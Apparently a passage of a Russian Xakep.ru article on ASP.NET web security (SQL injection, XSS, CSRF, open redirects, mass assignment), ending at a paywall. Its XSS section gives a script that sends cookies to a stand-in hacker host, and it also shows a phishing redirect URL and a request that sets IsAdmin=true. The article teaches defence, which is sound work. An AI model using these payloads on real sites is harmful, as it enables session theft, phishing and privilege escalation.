Содержание статьи
- SQL Injection
- XSS
- Cross-Site Request Forgery (CSRF)
- Open redirect attacks
- Mass assignment
- Header’ы против атак
- XSS
- Clickjacking
- MIME sniffing
- Referrer-Policy
- Каким образом можно добавить на сайт заголовки запросов?
- Самые страшные ошибки конфигурирования
- Хранение строки подключения к базе данных
- Скрытие сообщений об ошибке
- Еще несколько ошибок конфигурирования web.config
- Broken Authentication and Session Management
- Заключение
Начнем со всем известных видов атак.
SQL Injection
Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Этот вид атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.
Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:
string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;";
SqlCommand command = new SqlCommand(commandText, connectionString);
command.Parameters["@ID"].Value = customerID;
Если ты разрабатываешь MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если ты выполняешь SQL-код с помощью ExecuteQuery или вызываешь плохо написанные хранимые процедуры.
Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^[a-zA-Z]+$
. А если в поле должны быть введены цифры, то укажи это как требование:
[RegularExpression(@"\d{5}", ErrorMessage = "Индекс должен содержать 5 цифр")]
public string Zip { get; set; }
В Web Forms ограничить значения можно с помощью валидаторов. Пример:
<asp:TextBox id="txtName" runat="server"></asp:TextBox>
<asp:RegularExpressionValidator id="nameRegex" runat="server" ControlToValidate="txtName"
ValidationExpression="^[a-zA-Z'.\s]{1,40}$" ErrorMessage="Ошибочное значение в поле имени" />
Начиная с .NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.
Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).
XSS
Типичный пример XSS — добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:
<script>document.location='https://verybadcoolhacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
Как ты понимаешь, в данном примере куки с твоего сайта передаются в качестве параметра на какой-то хакерский ресурс.
В Web Forms можно совершить ошибку с помощью примерно такого кода:
<p>Извините <%= username %>, но пароль ошибочный</p>
Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: <%: username %>, которое энкодит свое содержимое.
Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму — хакер сможет ее провернуть, только если ты грубо ошибешься, например используешь @Html.Raw(Model.username)
или заюзаешь в своей модели MvcHtmlString
вместо string
.
Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В .NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web
: HtmlEncoder
, JavaScriptEncoder
и UrlEncoder
.
Следующий пример вернет строку <script>
:
string encodedString = HtmlEncoder.Default.Encode("<script>");
В классическом .NET используется HttpUtility.HtmlEncode
. А начиная с .NET 4.5 можно сделать AntiXssEncoder
энкодером по умолчанию. Делается это добавлением в тег httpRuntime
файла web.config
одного атрибута:
<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.AntiXss.AntiXssEncoder" />
Таким образом, сохранив старый код HttpUtility.HtmlEncode
, мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility
и HttpResponseHeader
).
Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно юзать UrlEncoder
.
Cross-Site Request Forgery (CSRF)
Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.
Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken()
, добавленный во View, и добавленный перед action контроллера атрибут [ValidateAntiForgeryToken]
. Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.
Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken
это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery. Классические ASP.NET-приложения используют метод AntiForgery.GetTokens
для генерации токенов и AntiForgery.Validate
для проверки полученных серверной стороной токенов.
Подробнее можно почитать здесь: Anti-CSRF and AJAX.
Open redirect attacks
Будь осторожен с редиректами! Следующий код очень опасен:
Response.Redirect(Request.QueryString["Url"]);
Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с твоего, хорошего (у тебя же хорошие сайты?). Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:
http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com
Многие пользователи, получив email со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.
Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:
private ActionResult RedirectToLocalPage(string redirectUrl)
{
if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl);
// ...
}
Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect
:
private ActionResult RedirectToLocalPage(string redirectUrl)
{
return LocalRedirect(redirectUrl);
}
В общем, старайся никогда не доверять полученным данным.
Mass assignment
Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:
public class UserModel
{
public string Name { get; set; }
public bool IsAdmin { get; set; }
}
И есть обычная и довольно простая вьюшка:
@model UserModel
<form asp-action="Vulnerable" asp-Controller="Home">
<div class="form-group">
<label asp-for="Name"></label>
<input class="form-control" type="text" asp-for="Name" />
</div>
<div class="form-group">
@if (Model.IsAdmin)
{
<i>You are an admin</i>
}
else
{
<i>You are a standard user</i>
}
</div>
<button class="btn btn-sm" type="submit">Submit</button>
</form>
С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?
А теперь давай перейдем к столь же простому коду:
[HttpPost]
public IActionResult Vulnerable(int id, UserModel model)
{
return View("Index", model);
}
Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost
. Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.
Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin). Как защититься от этого типа атаки? Самый простой вариант — не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов — это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:
[Editable(false)]
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»